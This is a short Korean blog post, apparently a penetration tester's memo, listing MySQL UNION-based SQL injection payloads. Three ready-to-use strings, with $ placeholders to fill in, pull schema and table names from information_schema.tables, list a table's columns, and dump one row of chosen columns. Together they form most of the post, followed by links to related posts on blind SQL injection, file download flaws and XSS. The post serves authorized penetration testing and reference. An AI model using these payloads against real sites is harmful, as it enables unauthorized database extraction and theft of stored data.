annyoung

Union SQL Injection(MySQL) 본문

모의해킹

Union SQL Injection(MySQL)

nopsled 2025. 2. 27. 18:37

모의해킹을 하다보면 아주 가끔 레거시한 환경에서 SQL Injection이 보이곤한다. 자주쓸 것 같아서 메모해둬야겠다 싶어서 적어놔야겠다.

 

table_schema.table_name 형식으로 테이블명 가져오기

' union all select 1,group_concat(concat(table_schema, 0x2E, table_name)),3 from information_schema.tables#

 

테이블 컬럼 가져오기

' union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='$TABLE_NAME'#

 

테이블 데이터 가져오기

PoC용으로 1개만 가져오도록 limit으로 잘랐음

' union all select 1,concat($column_name1, 0x7c, $column_name2),3 from $DATABASE_NAME.$TABLE_NAME limit 0,1#

 

 

각각 입력해야할 변수는 $이름 으로 적어놓았으니 참고하시길!

'모의해킹' 카테고리의 다른 글

Swaager에 대해서  (0) 2025.03.05
Blind SQL Injection(MySQL)  (1) 2025.02.27
파일 다운로드 취약점  (0) 2025.02.21
XSS input hidden  (0) 2025.02.11
ms teams가 sourcemap에 대하는 자세  (0) 2024.11.01
Comments